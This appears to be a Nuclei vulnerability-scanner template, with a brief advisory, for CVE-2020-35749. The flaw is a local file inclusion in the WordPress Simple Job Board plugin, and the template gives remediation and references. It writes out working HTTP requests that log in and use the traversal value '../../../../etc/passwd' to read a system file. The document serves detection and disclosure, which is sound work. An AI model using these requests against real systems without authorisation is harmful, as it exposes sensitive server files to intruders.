WordPress Simple Job Board prior to version 2.9.4 is vulnerable to arbitrary file retrieval vulnerabilities because it does not validate the sjb_file parameter when viewing a resume, allowing an authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via local file inclusion.
PoC代码[已公开]
id: CVE-2020-35749
info:
name: WordPress Simple Job Board <2.9.4 - Local File Inclusion
author: cckuailong
severity: high
description: WordPress Simple Job Board prior to version 2.9.4 is vulnerable to arbitrary file retrieval vulnerabilities because it does not validate the sjb_file parameter when viewing a resume, allowing an authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via local file inclusion.
impact: |
An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
remediation: |
Update to WordPress Simple Job Board version 2.9.4 or later to fix the vulnerability.
reference:
- https://wpscan.com/vulnerability/eed3bd69-2faf-4bc9-915c-c36211ef9e2d
- https://nvd.nist.gov/vuln/detail/CVE-2020-35749
- https://docs.google.com/document/d/1TbePkrRGsczepBaJptIdVRvfRrjiC5hjGg_Vxdesw6E/edit?usp=sharing
- http://packetstormsecurity.com/files/161050/Simple-JobBoard-Authenticated-File-Read.html
- https://github.com/ezelnur6327/Enes4xd
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.7
cve-id: CVE-2020-35749
cwe-id: CWE-22
epss-score: 0.76788
epss-percentile: 0.9889
cpe: cpe:2.3:a:presstigers:simple_board_job:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: presstigers
product: simple_board_job
framework: wordpress
tags: cve,cve2020,authenticated,packetstorm,wp,lfi,wordpress,wp-plugin,wpscan,presstigers,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4b0a0048304602210081a7a8f8e82eafc39136bb1bc37c38a2061510fc0ac918679b375941104c89c5022100ed2683707025f65dd98eba0751d3b0fb1f8642472a51cc642d12bd4122c30bcf:922c64590222798bb761d5b6d8e72950